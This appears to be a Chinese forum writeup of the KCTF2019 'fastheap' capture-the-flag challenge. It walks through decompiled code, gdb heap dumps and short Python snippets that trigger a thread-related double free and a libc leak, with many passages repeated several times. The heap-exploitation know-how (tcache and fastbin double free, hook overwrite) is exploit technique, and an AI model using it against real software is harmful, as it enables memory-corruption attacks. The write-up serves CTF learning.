首页
社区
课程
招聘
[原创]KCTF2019 第九题fastheap writeup
发表于: 2019-6-24 11:02 3430

[原创]KCTF2019 第九题fastheap writeup

2019-6-24 11:02
3430
做出这道题真的是靠的运气。
这道题目也是传统的菜单题目,有三个功能,add、fast free和show功能。libc是2.27,有tcache。

$ ./fastheap 
1. malloc
2. fast free
3. puts
4. exit
>>>

其中malloc功能虽然对堆块的数量没有明确的限制,但是因为堆块的索引是unsigned __int8类型,因此堆块的所以范围为0-255,因此最多可以申请256个堆块。size的类型同样也是unsigned __int8类型,因此输入的size最大为0xff,堆块大小最大为0x110。在bss段有一个全局的heap_list保存堆块的地址。接受用户输入的read函数很严格,没有常见的off-by-one的漏洞。
$ ./fastheap 
1. malloc
2. fast free
3. puts
4. exit
>>>

其中malloc功能虽然对堆块的数量没有明确的限制,但是因为堆块的索引是unsigned __int8类型,因此堆块的所以范围为0-255,因此最多可以申请256个堆块。size的类型同样也是unsigned __int8类型,因此输入的size最大为0xff,堆块大小最大为0x110。在bss段有一个全局的heap_list保存堆块的地址。接受用户输入的read函数很严格,没有常见的off-by-one的漏洞。
signed __int64 add()
{
  __int64 idx; // rbx
  size_t size; // rbp
  signed __int64 result; // rax
  unsigned __int64 v3; // rt1
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  _printf_chk(1LL, "Index: ");
  idx = (unsigned __int8)my_atoi();
  if ( heap_list[idx] )
    exit(-1);
  _printf_chk(1LL, "Size: ");
  size = (unsigned __int8)my_atoi();
  heap_list[idx] = check(size);
  _printf_chk(1LL, "Contents: ");
  if ( !size )
    return __readfsqword(0x28u) ^ v4;
  v3 = __readfsqword(0x28u);
  result = v3 ^ v4;
  if ( v3 == v4 )
    result = my_read(heap_list[idx], size);
  return result;
}
fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。
signed __int64 add()
{
  __int64 idx; // rbx
  size_t size; // rbp
  signed __int64 result; // rax
  unsigned __int64 v3; // rt1
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  _printf_chk(1LL, "Index: ");
  idx = (unsigned __int8)my_atoi();
  if ( heap_list[idx] )
    exit(-1);
  _printf_chk(1LL, "Size: ");
  size = (unsigned __int8)my_atoi();
  heap_list[idx] = check(size);
  _printf_chk(1LL, "Contents: ");
  if ( !size )
    return __readfsqword(0x28u) ^ v4;
  v3 = __readfsqword(0x28u);
  result = v3 ^ v4;
  if ( v3 == v4 )
    result = my_read(heap_list[idx], size);
  return result;
}
fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。
fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。
void *__fastcall start_routine(void *a1)
{
  unsigned __int64 v2; // [rsp+0h] [rbp-28h]

  while ( 1 )
  {
    v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u);
    if ( *(_QWORD *)a1 <= v2 )
      break;
    if ( !heap_list[v2] )
      exit(-1);
    free((void *)heap_list[v2]);
  }
  return 0LL;
}
汇编代码如下:
.text:0000000000000C6F loc_C6F:                                ; CODE XREF: start_routine+1D↑j
.text:0000000000000C6F                 mov     eax, 1
.text:0000000000000C74                 lock xadd [rbx], al   //交换操作数,相加,start_index++
.text:0000000000000C78                 movzx   eax, al
.text:0000000000000C7B                 mov     [rsp+28h+var_28], rax
.text:0000000000000C7F                 mov     rax, [rsp+28h+var_28]
.text:0000000000000C83                 cmp     [rbp+0], rax //比较end_index和未加1的start_index
.text:0000000000000C87                 ja      short loc_C50 //当start_index < end_index时才进行free
.text:0000000000000C89                 xor     eax, eax
.text:0000000000000C8B                 mov     rcx, [rsp+28h+var_20]
.text:0000000000000C90                 xor     rcx, fs:28h
.text:0000000000000C99                 jnz     short loc_CAC
.text:0000000000000C9B                 add     rsp, 18h
.text:0000000000000C9F                 pop     rbx
.text:0000000000000CA0                 pop     rbp
.text:0000000000000CA1                 retn
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
void *__fastcall start_routine(void *a1)
{
  unsigned __int64 v2; // [rsp+0h] [rbp-28h]

  while ( 1 )
  {
    v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u);
    if ( *(_QWORD *)a1 <= v2 )
      break;
    if ( !heap_list[v2] )
      exit(-1);
    free((void *)heap_list[v2]);
  }
  return 0LL;
}
汇编代码如下:
.text:0000000000000C6F loc_C6F:                                ; CODE XREF: start_routine+1D↑j
.text:0000000000000C6F                 mov     eax, 1
.text:0000000000000C74                 lock xadd [rbx], al   //交换操作数,相加,start_index++
.text:0000000000000C78                 movzx   eax, al
.text:0000000000000C7B                 mov     [rsp+28h+var_28], rax
.text:0000000000000C7F                 mov     rax, [rsp+28h+var_28]
.text:0000000000000C83                 cmp     [rbp+0], rax //比较end_index和未加1的start_index
.text:0000000000000C87                 ja      short loc_C50 //当start_index < end_index时才进行free
.text:0000000000000C89                 xor     eax, eax
.text:0000000000000C8B                 mov     rcx, [rsp+28h+var_20]
.text:0000000000000C90                 xor     rcx, fs:28h
.text:0000000000000C99                 jnz     short loc_CAC
.text:0000000000000C9B                 add     rsp, 18h
.text:0000000000000C9F                 pop     rbx
.text:0000000000000CA0                 pop     rbp
.text:0000000000000CA1                 retn
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
汇编代码如下:
.text:0000000000000C6F loc_C6F:                                ; CODE XREF: start_routine+1D↑j
.text:0000000000000C6F                 mov     eax, 1
.text:0000000000000C74                 lock xadd [rbx], al   //交换操作数,相加,start_index++
.text:0000000000000C78                 movzx   eax, al
.text:0000000000000C7B                 mov     [rsp+28h+var_28], rax
.text:0000000000000C7F                 mov     rax, [rsp+28h+var_28]
.text:0000000000000C83                 cmp     [rbp+0], rax //比较end_index和未加1的start_index
.text:0000000000000C87                 ja      short loc_C50 //当start_index < end_index时才进行free
.text:0000000000000C89                 xor     eax, eax
.text:0000000000000C8B                 mov     rcx, [rsp+28h+var_20]
.text:0000000000000C90                 xor     rcx, fs:28h
.text:0000000000000C99                 jnz     short loc_CAC
.text:0000000000000C9B                 add     rsp, 18h
.text:0000000000000C9F                 pop     rbx
.text:0000000000000CA0                 pop     rbp
.text:0000000000000CA1                 retn
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。

线程堆

这里涉及到了线程堆的知识,第一次遇到这种题目,这次还是主进程分配,线程释放堆块。ptmalloc使用mmap()函数为线程创建自己的非主分配区来模拟堆(sub_heap),当该sub_heap用完之后,会再使用mmap()分配一块新的内存块作为sub_heap。当进程中有多个线程时,一定也有多个分配区,但是每个分配区都有可能被多个线程使用。具体关于线程堆的知识可以看参考里的博客。
另外这道题目有一个至今没有明白的点,当线程释放完指定堆块还没有退出时,堆块是进入了进程的tcache,但是当线程退出后,这个堆块就进入了主进程的对应的fastbin。比如,申请一个0x70和0x30的堆块,释放idx0,释放之前堆块的状态:
这里涉及到了线程堆的知识,第一次遇到这种题目,这次还是主进程分配,线程释放堆块。ptmalloc使用mmap()函数为线程创建自己的非主分配区来模拟堆(sub_heap),当该sub_heap用完之后,会再使用mmap()分配一块新的内存块作为sub_heap。当进程中有多个线程时,一定也有多个分配区,但是每个分配区都有可能被多个线程使用。具体关于线程堆的知识可以看参考里的博客。
另外这道题目有一个至今没有明白的点,当线程释放完指定堆块还没有退出时,堆块是进入了进程的tcache,但是当线程退出后,这个堆块就进入了主进程的对应的fastbin。比如,申请一个0x70和0x30的堆块,释放idx0,释放之前堆块的状态:
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0x55c118339000      0x0                 0x250                Used                None              None
0x55c118339250      0x0                 0x70                 Used                None              None
0x55c1183392c0      0x0                 0x30                 Used                None              None
释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。

线程退出后,该堆块在fastbin中:

对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0x55c118339000      0x0                 0x250                Used                None              None
0x55c118339250      0x0                 0x70                 Used                None              None
0x55c1183392c0      0x0                 0x30                 Used                None              None
释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。

线程退出后,该堆块在fastbin中:

对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。
释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。

线程退出后,该堆块在fastbin中:

对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。

利用过程

由于有tcache,只要能构造出double free,由于tcache在分配时没有对tcache链中的chunk进行size的检查,所以就可以fd指向malloc_hook或free_hook。但这道题目对heap_list进行了清空,不能double free。但是感觉线程这里肯定有问题,在和队友的多次尝试后发现创建多个堆块,然后都释放掉,竟然出现了double free:

for i in range(250):
    add(i,0x60,'aaaa\n')
delete(0,250,8)
出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这...利用条件都具备了,直接show(1)就可以泄露libc。

由于有tcache,只要能构造出double free,由于tcache在分配时没有对tcache链中的chunk进行size的检查,所以就可以fd指向malloc_hook或free_hook。但这道题目对heap_list进行了清空,不能double free。但是感觉线程这里肯定有问题,在和队友的多次尝试后发现创建多个堆块,然后都释放掉,竟然出现了double free:

for i in range(250):
    add(i,0x60,'aaaa\n')
delete(0,250,8)
出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这...利用条件都具备了,直接show(1)就可以泄露libc。
for i in range(250):
    add(i,0x60,'aaaa\n')
delete(0,250,8)
出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这...利用条件都具备了,直接show(1)就可以泄露libc。

add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

for i in range(250):
    add(i+2,0x60,'aaaa\n')
delete(2,252,7)
但是当试图再次申请tcache里的这250个堆块时,发现只要申请到第248个堆块时,bins的分布如下:
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

for i in range(250):
    add(i+2,0x60,'aaaa\n')
delete(2,252,7)
但是当试图再次申请tcache里的这250个堆块时,发现只要申请到第248个堆块时,bins的分布如下:
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory)
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55555575e8b0 (size : 0x19750) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120)   tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
再试图分配第249个块时,就直接越过了fastbin里的前5个chunk,去分配0xfff785c410000000这个堆块,前5个堆块进入了tcache:
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory)
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55555575e8b0 (size : 0x19750) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120)   tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
再试图分配第249个块时,就直接越过了fastbin里的前5个chunk,去分配0xfff785c410000000这个堆块,前5个堆块进入了tcache:
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0xfff785c410000000 (invaild memory)
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55555575e8b0 (size : 0x19750) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70)   tcache_entry[5](4): 0x7ffff7bb0c1d --> 0x555555757380 --> 0x555555757620 --> 0x555555757690
(0x120)   tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
没法利用这250个堆块的double free,但是可以利用前2个堆块未释放就进入unsorted bin的状态进行double free。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-6-24 11:06 被X3h1n编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//